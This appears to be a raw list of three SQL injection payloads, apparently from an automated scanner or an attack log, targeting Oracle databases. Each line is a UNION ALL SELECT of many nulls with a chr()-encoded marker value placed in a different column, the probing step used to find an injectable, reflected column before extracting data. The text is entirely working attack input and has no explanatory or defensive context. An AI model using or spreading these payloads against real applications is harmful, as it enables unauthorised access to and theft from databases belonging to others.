s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,chr(50)||chr(52)||chr(56)||chr(56)||chr(50),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,chr(50)||chr(52)||chr(56)||chr(56)||chr(50),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(50)||chr(52)||chr(56)||chr(56)||chr(50),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--